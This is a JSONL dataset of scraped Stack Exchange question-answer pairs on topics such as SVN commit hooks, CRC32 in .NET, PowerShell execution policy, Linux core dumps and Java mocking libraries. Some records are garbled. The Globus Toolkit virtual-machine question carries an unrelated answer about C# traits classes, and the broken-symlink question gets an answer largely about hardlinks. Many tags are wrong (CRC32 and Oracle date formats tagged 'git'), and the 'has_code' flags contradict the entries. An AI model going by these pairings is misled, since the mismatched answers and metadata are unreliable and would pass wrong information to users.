{"id": "hf_c89364ea0bc4", "question": "<p>I've always found checkin (commit) mails to be very useful for keeping track of what work other people are doing in the codebase / repository. How do I set up SVN to email a distribution list on each commit?</p>\n\n<p>I'm running clients on Windows and the Apache Subversion server on Linux. The answers below for various platforms will likely be useful to other people though.</p>\n", "question_body": "", "answer": "You'll want to familiarize yourself with\nrepository hooks\n, particularly the\npost-commit hook\n.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:14.498578"}
{"id": "hf_fcec423fbdae", "question": "<p>How do I calculate the CRC32 (Cyclic Redundancy Checksum) of a string in .NET?</p>\n", "question_body": "", "answer": "This guy seems to have your answer.\nhttps://damieng.com/blog/2006/08/08/calculating_crc32_in_c_and_net\nAnd in case the blog ever goes away or breaks the url, here's the github link:\nhttps://github.com/damieng/DamienGKit/blob/master/CSharp/DamienG.Library/Security/Cryptography/Crc32.cs\nUsage of the Crc32 class from the blog post:\n```\n```\nCrc32 crc32 = new Crc32();\nString hash = String.Empty;\n\nusing (FileStream fs = File.Open(\"c:\\\\myfile.txt\", FileMode.Open))\n  foreach (byte b in crc32.ComputeHash(fs)) hash += b.ToString(\"x2\").ToLower();\n\nConsole.WriteLine(\"CRC-32 is {0}\", hash);\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:14.656746"}
{"id": "hf_9abfe30b0131", "question": "<p>Is there anyplace where one can download a virtual machine containing a working install of some Linux distro with Globus Toolkit and some development tools (Java) for testing purposes? A real deployment of a grid is more complicated but I just need something portable, for development.</p>\n", "question_body": "", "answer": "You could possibly use a construct such as a\ntraits class\n. In this way, you would have a parameterised helper class that knows how to convert a string to a value of its own type. Then your getter might look like this:\n```\n```\nget { return StringConverter<DataType>.FromString(base.Value); }\n```\n```\nNow, I must point out that my experience with parameterised types is limited to C++ and its templates, but I imagine there is some way to do the same sort of thing using C# generics.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:14.802445"}
{"id": "hf_68349418fc1c", "question": "<p>In C, what is the most efficient way to convert a string of hex digits into a binary <code>unsigned int</code> or <code>unsigned long</code>?</p>\n\n<p>For example, if I have <code>0xFFFFFFFE</code>, I want an <code>int</code> with the base10 value <code>4294967294</code>.</p>\n", "question_body": "", "answer": "You want\n```\nstrtol\n```\nor\n```\nstrtoul\n```\n.  See also the\nUnix man page", "tags": ["linux", "git"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:15.080288"}
{"id": "hf_1d17b52da42b", "question": "<p>Sometimes I get Oracle connection problems because I can't figure out which tnsnames.ora file my database client is using.</p>\n\n<p>What's the best way to figure this out?  ++happy for various platform solutions.   </p>\n", "question_body": "", "answer": "For linux:\n```\n```\n$ strace sqlplus -L scott/tiger@orcl 2>&1| grep -i 'open.*tnsnames.ora'\n```\n```\nshows something like this:\n```\n```\nopen(\"/opt/oracle/product/10.2.0/db_1/network/admin/tnsnames.ora\",O_RDONLY)=7\n```\n```\nChanging to\n```\n```\n$ strace sqlplus -L scott/tiger@orcl 2>&1| grep -i 'tnsnames.ora'\n```\n```\nwill show all the file paths that are failing.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:15.223265"}
{"id": "hf_40dcc3bdd103", "question": "<p>I wrote a simple batch file as a PowerShell script, and I am getting errors when they run.</p>\n\n<p>It's in a scripts directory in my path. This is the error I get:</p>\n\n<blockquote>\n  <p>Cannot be loaded because the execution of scripts is disabled on this system. \n   Please see \"get-help about-signing\".</p>\n</blockquote>\n\n<p>I looked in the help, but it's less than helpful.</p>\n", "question_body": "", "answer": "It could be PowerShell's default security level, which (IIRC) will only run signed scripts.\nTry typing this:\n```\n```\nset-executionpolicy remotesigned\n```\n```\nThat will tell PowerShell to allow local (that is, on a local drive) unsigned scripts to run.\nThen try executing your script again.", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:15.371187"}
{"id": "hf_f6bfce2b82d7", "question": "<p>I am looking for a more technical explanation than the OS calls the function.</p>\n<p>Is there a website or book?</p>\n", "question_body": "", "answer": "```\nmain()\n```\nis part of the C library and is not a system function. I don't know for OS X or Linux, but Windows usually starts a program with\n```\nWinMainCRTStartup()\n```\n. This symbol init your process, extract command line arguments and environment (\n```\nargc, argv, end\n```\n) and calls\n```\nmain()\n```\n. It is also responsible of calling any code that should run after\n```\nmain()\n```\n, like\n```\natexit()\n```\n.\nBy looking in your Visual Studio file, you should be able to find the default implementation of\n```\nWinMainCRTStartup\n```\nto see what it does.\nYou can also define a function of your own to call at startup, this is done by changing \"entry point\" in the linker options. This is often a function that takes no arguments and returns a void.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:15.665871"}
{"id": "hf_2036d271ed73", "question": "<p>I thought that I had the latest CTP of PowerShell 2 but when I try the command:</p>\n\n<p><code>invoke-expression –computername Server01 –command 'get-process PowerShell'</code></p>\n\n<p>I get an error message:<br>\n<strong>A parameter cannot be found that matches parameter name 'computername'.</strong></p>\n\n<p>So the question is: How can I tell which version of PowerShell I have installed? And what the latest version is?</p>\n", "question_body": "", "answer": "```\n$host.version.tostring()\n```\nwill return the version number.\nRTM of v1 is 1.0.0.0\nCouldn't honestly tell you what the latest version of the previews are because I haven't had a chance to play yet.", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:15.786118"}
{"id": "hf_bb7c99591200", "question": "<p>For example; with the old command prompt it would be:</p>\n\n<pre><code>cmd.exe /k mybatchfile.bat\n</code></pre>\n", "question_body": "", "answer": "Drop into a cmd instance (or indeed PowerShell itself) and type this:\n```\n```\npowershell -?\n```\n```\nYou'll see that powershell.exe has a \"-noexit\" parameter which tells it not to exit after executing a \"startup command\".", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:16.044018"}
{"id": "hf_6224c5e08a64", "question": "<p>What's the DOS FINDSTR equivalent for <a href=\"http://en.wikipedia.org/wiki/Windows_PowerShell\" rel=\"noreferrer\">PowerShell</a>? I need to search a bunch of log files for \"ERROR\".</p>\n", "question_body": "", "answer": "Here's the quick answer\n```\n```\nGet-ChildItem -Recurse -Include *.log | select-string ERROR\n```\n```\nI found it\nhere\nwhich has a great indepth answer!", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:16.158124"}
{"id": "hf_0a175262de8b", "question": "<p>In WindowsForms world you can get a list of available image encoders/decoders with</p>\n\n<pre><code>System.Drawing.ImageCodecInfo.GetImageDecoders() / GetImageEncoders()\n</code></pre>\n\n<p>My question is, is there a way to do something analogous for the WPF world that would allow me to get a list of available </p>\n\n<pre><code>System.Windows.Media.Imaging.BitmapDecoder / BitmapEncoder\n</code></pre>\n", "question_body": "", "answer": "Hopefully someone will correct me if I'm wrong, but I don't think there's anything like that in WPF.  But hopefully this is one of the many cases where advances in the technology have rendered obsolete the way we're used to doing things.  Like \"how do I wind my digital watch?\"\nTo my understanding, the reason why ImageCodecInfo.GetImageDecoders() is necessary in System.Drawing has to do with the kludgy nature of System.Drawing itself: System.Drawing is a managed wrapper around GDI+, which is an unmanaged wrapper around a portion of the Win32 API.  So there might be a reason why a new codec would be installed in Windows without .NET inherently knowing about it.  And what's returned from GetImageDecoders() is just a bunch of strings that are typically passed back into System.Drawing/GDI+, and used to find and configure the appropriate DLL for reading/saving your image.\nOn the other hand, in WPF, the standard encoders and decoders are built into the framework, and, if I'm not mistaken, don't depend on anything that that isn't guaranteed to be installed as part of the framework.  The following classes inherit from BitmapEncoder and are available out-of-the-box with WPF: BmpBitmapEncoder, GifBitmapEncoder, JpegBitmapEncoder, PngBitmapEncoder, TiffBitmapEncoder, WmpBitmapEncoder.  There are BitmapDecoders for all the same formats, plus IconBitmapDecoder and LateBoundBitmapDecoder.\nYou may be dealing with a case I'm not imagining, but it seems to me that if you're having to use a class that inherits from BitmapEncoder but wasn't included with WPF, it's probably your own custom class that you would install with your application.\nHope this helps.  If I'm missing a necessary part of the picture, please let me know.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:16.307700"}
{"id": "hf_978f19c2189b", "question": "<p>How do you run an external program and pass it command line parameters using C? If you have to use operating system API, include a solution for Windows, Mac, and Linux.</p>\n", "question_body": "", "answer": "```\n```\n#include <stdlib.h>\n\nint main()\n{\n    system(\"echo HAI\");\n\n    return 0;\n}\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:16.698107"}
{"id": "hf_5515be55494c", "question": "<p>I have a process in Linux that's getting a segmentation fault.  How can I tell it to generate a core dump when it fails?</p>\n", "question_body": "", "answer": "This depends on what shell you are using.  If you are using bash, then the ulimit command controls several settings relating to program execution, such as whether you should dump core.  If you type\n```\n```\nulimit -c unlimited\n```\n```\nthen that will tell bash that its programs can dump cores of any size.  You can specify a size such as 52M instead of unlimited if you want, but in practice this shouldn't be necessary since the size of core files will probably never be an issue for you.\nIn tcsh, you'd type\n```\n```\nlimit coredumpsize unlimited\n```\n```", "tags": ["linux", "bash"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:16.923749"}
{"id": "hf_748c4be1ea9b", "question": "<p>So, in your experience, whats the best way? Is there a secure way that's also scriptable/triggerable in a build automation tool?</p>\n\n<p>Edit: I should mention this is windows/.net and I'll be deploying to iis6</p>\n", "question_body": "", "answer": "For some projects I use\nCapistrano\nto push out to live. It is built on top of ruby and makes deploy script writing super easy and uses ssh.\nOn other projects I have a tiny deploy app that uses bash to do an svn export to a temporary directory and then rsync it over to the live server. You can make rsync use ssh.\nI greatly prefer the Capistrano method, even if your project isn't in ruby/rails.", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:17.079487"}
{"id": "hf_26fcedb179d6", "question": "<p>I am writing a batch script in order to beautify JavaScript code. It needs to work on both <strong>Windows</strong> and <strong>Linux</strong>. </p>\n\n<p>How can I beautify JavaScript code using the command line tools? </p>\n", "question_body": "", "answer": "First, pick your favorite Javascript based Pretty Print/Beautifier.  I prefer the one at\nhttp://jsbeautifier.org/\n, because it's what I found first.  Downloads its file\nhttps://github.com/beautify-web/js-beautify/blob/master/js/lib/beautify.js\nSecond, download and install The Mozilla group's Java based Javascript engine,\nRhino\n.  \"Install\" is a little bit misleading;  Download the zip file, extract everything, place js.jar in your Java classpath (or Library/Java/Extensions on OS X).  You can then run scripts with an invocation similar to this\n```\n```\njava -cp js.jar org.mozilla.javascript.tools.shell.Main name-of-script.js\n```\n```\nUse the Pretty Print/Beautifier from step 1 to write a small shell script that will read in your javascript file and run it through the Pretty Print/Beautifier from step one.  For example\n```\n```\n//original code    \n(function() { ... js_beautify code ... }());\n\n//new code\nprint(global.js_beautify(readFile(arguments[0])));\n```\n```\nRhino gives javascript a few extra useful functions that don't necessarily make sense in a browser context, but do in a console context. The function print does what you'd expect, and prints out a string.  The function readFile accepts a file path string as an argument and returns the contents of that file.\nYou'd invoke the above something like\n```\n```\njava -cp js.jar org.mozilla.javascript.tools.shell.Main beautify.js file-to-pp.js\n```\n```\nYou can mix and match Java and Javascript in your Rhino run scripts, so if you know a little Java it shouldn't be too hard to get this running with text-streams as well.", "tags": ["linux", "git"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:17.266147"}
{"id": "hf_507cc51e9007", "question": "<p>Example:</p>\n\n<pre><code>select ename from emp where hiredate = todate('01/05/81','dd/mm/yy')\n</code></pre>\n\n<p>and </p>\n\n<pre><code>select ename from emp where hiredate = todate('01/05/81','dd/mm/rr')\n</code></pre>\n\n<p>return different results</p>\n", "question_body": "", "answer": "http://oracle.ittoolbox.com/groups/technical-functional/oracle-dev-l/difference-between-yyyy-and-rrrr-format-519525\nYY allows you to retrieve just two digits of a year, for example, the 99 in\n  1999. The other digits (19) are automatically assigned to the current\n  century. RR converts two-digit years into four-digit years by rounding.\n50-99 are stored as 1950-1999, and dates ending in 00-49 are stored as\n  2000-2049. RRRR accepts a four-digit input (although not required), and\n  converts two-digit dates as RR does. YYYY accepts 4-digit inputs butdoesn't\n  do any date converting\nEssentially, your first example will assume that 81 is 2081 whereas the RR one assumes 1981. So the first example should not return any rows as you most likely did not hire any guys after May 1 2081 yet :-)", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:17.422943"}
{"id": "hf_c82b5220071c", "question": "<p>What is a good free library for editing MP3s/FLACs. </p>\n\n<p>By editing I mean:</p>\n\n<ul>\n<li>Cutting audio file into multiple parts</li>\n<li>Joining multiple audio files together</li>\n<li>Increase playback speed of file without affecting the pitch (eg. podcasts up to 1.3x)</li>\n<li>Re-encoding audio file from Flac -> MP3 or vice versa</li>\n</ul>\n\n<p>I don't mean software, I mean a library that I can use within another application. Programming language agnostic.</p>\n", "question_body": "", "answer": "I use\nAudacity\nfor all my editing needs\nAudacity is a free, easy-to-use audio\n  editor and recorder for Windows, Mac\n  OS X, GNU/Linux and other operating\n  systems. You can use Audacity to:\n```\n```\n* Record live audio.\n* Convert tapes and records into digital recordings or CDs.\n* Edit Ogg Vorbis, MP3, WAV or AIFF sound files.\n* Cut, copy, splice or mix sounds together.\n* Change the speed or pitch of a recording.\n```\n```", "tags": ["linux", "git"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:17.585192"}
{"id": "hf_107b10b96c80", "question": "<p>Does anyone know of a good Command Prompt replacement?  I've tried bash/Cygwin, but that does not really meet my needs at work because it's too heavy.  I'd like a function-for-function identical wrapper on cmd.exe, but with highlighting, intellisense, and (critically) a tabbed interface.  Powershell is okay, but the interface is still lacking.</p>\n", "question_body": "", "answer": "Edited\n: I've been using\nConEmu\n(\nhttp://conemu.github.io/\n) for quite some time now. This one is a wrapper too, since it is not really possible to replace the Windows console without rewriting the whole command interpreter. Below the line is my original answer for an earlier alternative.\nNot exactly a replacement (actually, it's a prettifying wrapper) but you might try\nConsole\n(\nhttp://sourceforge.net/projects/console/\n)", "tags": ["bash", "git", "powershell"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:17.744725"}
{"id": "hf_c65b0c4bbeba", "question": "<p>If I call <code>os.stat()</code> on a broken <code>symlink</code>, python throws an <code>OSError</code> exception. This makes it useful for finding them. However, there are a few other reasons that <code>os.stat()</code> might throw a similar exception. Is there a more precise way of detecting broken <code>symlinks</code> with Python under Linux?</p>\n", "question_body": "", "answer": "Can I mention testing for hardlinks without python? /bin/test has the FILE1 -ef FILE2 condition that is true when files share an inode.\nTherefore, something like\n```\nfind . -type f -exec test \\{} -ef /path/to/file \\; -print\n```\nworks for hard link testing to a specific file.\nWhich brings me to reading\n```\nman test\n```\nand the mentions of\n```\n-L\n```\nand\n```\n-h\n```\nwhich both work on one file and return true if that file is a symbolic link, however that doesn't tell you if the target is missing.\nI did find that\n```\nhead -0 FILE1\n```\nwould return an exit code of\n```\n0\n```\nif the file can be opened and a\n```\n1\n```\nif it cannot, which in the case of a symbolic link to a regular file works as a test for whether it's target can be read.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:17.937175"}
{"id": "hf_97516e67767b", "question": "<p>I'm trying to write a RegEx for a code generator (in C#) to determine a proper class or package name of an AS3 class.</p>\n\n<p>I know that class names</p>\n\n<ul>\n<li>must start with a letter (capital or otherwise)</li>\n<li>any other digit can be alphanumeric</li>\n<li>cannot have spaces</li>\n</ul>\n\n<p>Is there anything else?</p>\n", "question_body": "", "answer": "Here are some more valid classes.\nActionscript 3 classes (and packages) must start with a letter, \"_\", or \"$\". They may also contain (but not start with) a number.\n```\n```\npublic class $Test {}\npublic class _Test {}\npublic class test {}\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:18.133663"}
{"id": "hf_47ad4501a08d", "question": "<p>What are your favorite (G)Vim plugins/scripts?</p>\n", "question_body": "", "answer": "Tim Pope\nhas some kickass plugins.  I love his\nsurround\nplugin.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:18.245487"}
{"id": "hf_82fb037d6a04", "question": "<p>In Linux, what is the difference between <code>/dev/ttyS0</code> and <code>/dev/ttys0</code>?</p>\n\n<p>I know that the first is a serial port, but what about the second, with the small <code>s</code>?</p>\n", "question_body": "", "answer": "see this\nFor a pseudo terminal pair such as\n  ptyp3 and ttyp3, the pty... is the\n  master or controlling terminal and the\n  tty... is the slave. There are only 16\n  ttyp's: ttyp0-ttypf (f is a\n  hexadecimal digit).\nTo get more\n  pairs, the 3 letters q, r, s may be\n  used instead of p\n. For example the\n  pair ttys8, ptys8 is a pseudo terminal\n  pair. The master and slave are really\n  the same \"port\" but the slave is used\n  by the application program and the\n  master is used by a network program\n  (or the like) which supplies (and\n  gets) data to/from the slave port.", "tags": ["linux", "git"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:18.387285"}
{"id": "hf_16542c4214b7", "question": "<p>What's the best framework for creating mock objects in Java? Why? What are the pros and cons of each framework?</p>\n", "question_body": "", "answer": "I've had good success using\nMockito\n.\nWhen I tried learning about JMock and EasyMock, I found the learning curve to be a bit steep (though maybe that's just me).\nI like Mockito because of its simple and clean syntax that I was able to grasp pretty quickly. The minimal syntax is designed to support the common cases very well, although the few times I needed to do something more complicated I found what I wanted was supported and easy to grasp.\nHere's an (abridged) example from the Mockito homepage:\n```\n```\nimport static org.mockito.Mockito.*;\n\nList mockedList = mock(List.class);\nmockedList.clear();\nverify(mockedList).clear();\n```\n```\nIt doesn't get much simpler than that.\nThe only major downside I can think of is that it won't mock static methods.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:18.568595"}
{"id": "hf_c92c5df58ad0", "question": "<p>What is the simplest way to install memcached on CentOS for someone new to the world of Linux?  What is the best way to enable it for Apache and PHP</p>\n", "question_body": "", "answer": "Unless Apache and PHP have some option to utilize memcached for internal workings (of which I am unaware of), you typically don't \"enable\" it for such apps.  Instead, you would get a\nclient library\nto use memcached from within your application, then start up memcached on whatever servers you want to provide memory with, then just use the client library API to store and retrieve cached data across multiple servers.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:18.767291"}
{"id": "hf_eeeeb00d7e64", "question": "<p>What should i use to code Classic ASP under Linux. I have really tried to use Emacs and Vim but I don't have the time to learn them.</p>\n\n<p>What i'm looking for is:</p>\n\n<ul>\n<li>Syntax highlighting</li>\n<li>Code Browser (Ctags)</li>\n<li>Preferably som sort of code insight</li>\n</ul>\n\n<p>Something like Ultra Edit or E-texteditor.</p>\n", "question_body": "", "answer": "I'm not sure what you're asking here, but if you are simply looking for a text-editor, my recommendations would be:\nConsole-based:\njed (simple, with a DOS Edit-like menubar, supports syntax-highlighing)\nnano / pico (even simpler)\nX-based:\nKate (KDE, syntax-highlighing)\nMousepad (like notepad)\nSciTE (syntax-highlighing)\nThere are of course likely to be a gazillion other text-editors better than the ones listed above, but these are the ones I tend to use.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:18.952430"}
{"id": "hf_6c352813179e", "question": "<p>I'd like to gain better knowledge of operating system internals. Process management, memory management, and stuff like that. <br>\nI was thinking of learning by getting to know either linux or BSD kernel.<br>\nWhich one kernel is better for learning purposes?<br>\nWhat's the best place to start?<br>\nCan you recommend any good books?<br></p>\n", "question_body": "", "answer": "Linux\nDevice Drivers\nLinux Core Kernel Commentary\nOperating Systems Design and Implementation\nI had previously bought these books on recommendation for the same purpose but I never got to studying them myself so only take them as second-hand advice.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:19.110128"}
{"id": "hf_2532cb349718", "question": "<p>I'm currently building a Java app that could end up being run on many different platforms, but primarily variants of Solaris, Linux and Windows.</p>\n\n<p>Has anyone been able to successfully extract information such as the current disk space used, CPU utilisation and memory used in the underlying OS? What about just what the Java app itself is consuming?</p>\n\n<p>Preferrably I'd like to get this information without using JNI.</p>\n", "question_body": "", "answer": "I think the best method out there is to implement the\nSIGAR API by Hyperic\n.  It works for most of the major operating systems ( darn near anything modern ) and is very easy to work with.  The developer(s) are very responsive on their forum and mailing lists.  I also like that it is\nGPL2\nApache licensed\n.  They provide a ton of examples in Java too!\nSIGAR == System Information, Gathering And Reporting tool.", "tags": ["linux", "git"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:19.304033"}
{"id": "hf_aedbaf2bc65b", "question": "<p>I want to use Powershell to write some utilities, leveraging our own .NET components to handle the actual work.  This is in place of writing a small console app to tie the calls together.  My question is where I would find a good source of documentation or tutorial material to help me fast track this?</p>\n", "question_body": "", "answer": "If you want to load an assembly into your PowerShell session, you can use reflection and load the assembly.\n```\n```\n[void][System.Reflection.Assembly]::LoadFrom(PathToYourAssembly)\n```\n```\nAfter you load your assembly, you can call static methods and create new instances of a class.\nA good tutorial can be found\nhere\n.\nBoth books mentioned by EBGreen are excellent.  The PowerShell Cookbook is very task oriented and PowerShell in Action is a great description of the language, its focus and useability.  PowerShell in Action is one of my favorite books. :)", "tags": ["aws", "powershell"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:19.523692"}
{"id": "hf_faca029564b9", "question": "<p>I've seen news of <a href=\"http://github.com/jeresig/sizzle/tree/master\" rel=\"noreferrer\">John Resig's fast new selector engine named Sizzle</a> pop up in quite a few places, but I don't know what a selector engine is, nor have any of the articles given an explanation of what it is.  I know Resig is the creator of jQuery, and that Sizzle is something in Javascript, but beyond that I don't know what it is. So, what is a selector engine?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "A selector engine is used to query a page's DOM for particular elements, based on some sort of query (usually CSS syntax or similar).\nFor example, this jQuery:\n```\n```\n$('div')\n```\n```\nWould search for and return all of the <div> elements on the page.  It uses jQuery's selector engine to do that.\nOptimizing the selector engine is a big deal because almost every operation you perform with these frameworks is based on some sort of DOM query.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:19.652241"}
{"id": "hf_a75c39355a5d", "question": "<p>I haven't been to enough of these \"live\" events to really determine which, if any, are worth the time / money.  Which ones do you attend and why?</p>\n", "question_body": "", "answer": "I used to belong to my local Linux User Group which I co-founded but I treated it more as a social event than anything else but obviously a social event full of geeks is still a great way to get a great debate going :)\nConventions and the like I've not got much out of other than being pestered by businesses who can offer me nothing that is apart from a bunch of Linux and Hacker ones where I've met loads of people who I consider friends offline, again great for the social aspect but pretty worthless to me in other respects.\nThat's not to say I never got any business out of attending various events it's just that treating them as social occasions meant any business that did come my way was a bonus so I never left an event feeling like it was a waste of time.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:19.800394"}
{"id": "hf_598390270b25", "question": "<p>I want to compare 2 arrays of objects in JavaScript code.  The objects have 8 total properties, but each object will not have a value for each, and the arrays are never going to be any larger than 8 items each, so maybe the brute force method of traversing each and then looking at the values of the 8 properties is the easiest way to do what I want to do, but before implementing, I wanted to see if anyone had a more elegant solution. Any thoughts?</p>\n", "question_body": "", "answer": "EDIT: You cannot overload operators in current, common browser-based implementations of JavaScript interpreters.\nTo answer the original question, one way you could do this, and mind you, this is a bit of a hack, simply\nserialize the two arrays to JSON\nand then compare the two JSON strings. That would simply tell you if the arrays are different, obviously you could do this to\neach\nof the objects within the arrays as well to see which ones were different.\nAnother option is to use a library which has some nice facilities for comparing objects - I use and recommend\nMochiKit\n.\nEDIT:\nThe answer kamens gave\ndeserves consideration as well, since a single function to compare two given objects would be much smaller than any library to do what I suggest (although my suggestion would certainly work well enough).\nHere is a naïve implemenation that may do just enough for you - be aware that there are potential problems with this implementation:\n```\n```\nfunction objectsAreSame(x, y) {\n   var objectsAreSame = true;\n   for(var propertyName in x) {\n      if(x[propertyName] !== y[propertyName]) {\n         objectsAreSame = false;\n         break;\n      }\n   }\n   return objectsAreSame;\n}\n```\n```\nThe assumption is that both objects have the same exact list of properties.\nOh, and it is probably obvious that, for better or worse, I belong to the only-one-return-point camp. :)", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:19.945257"}
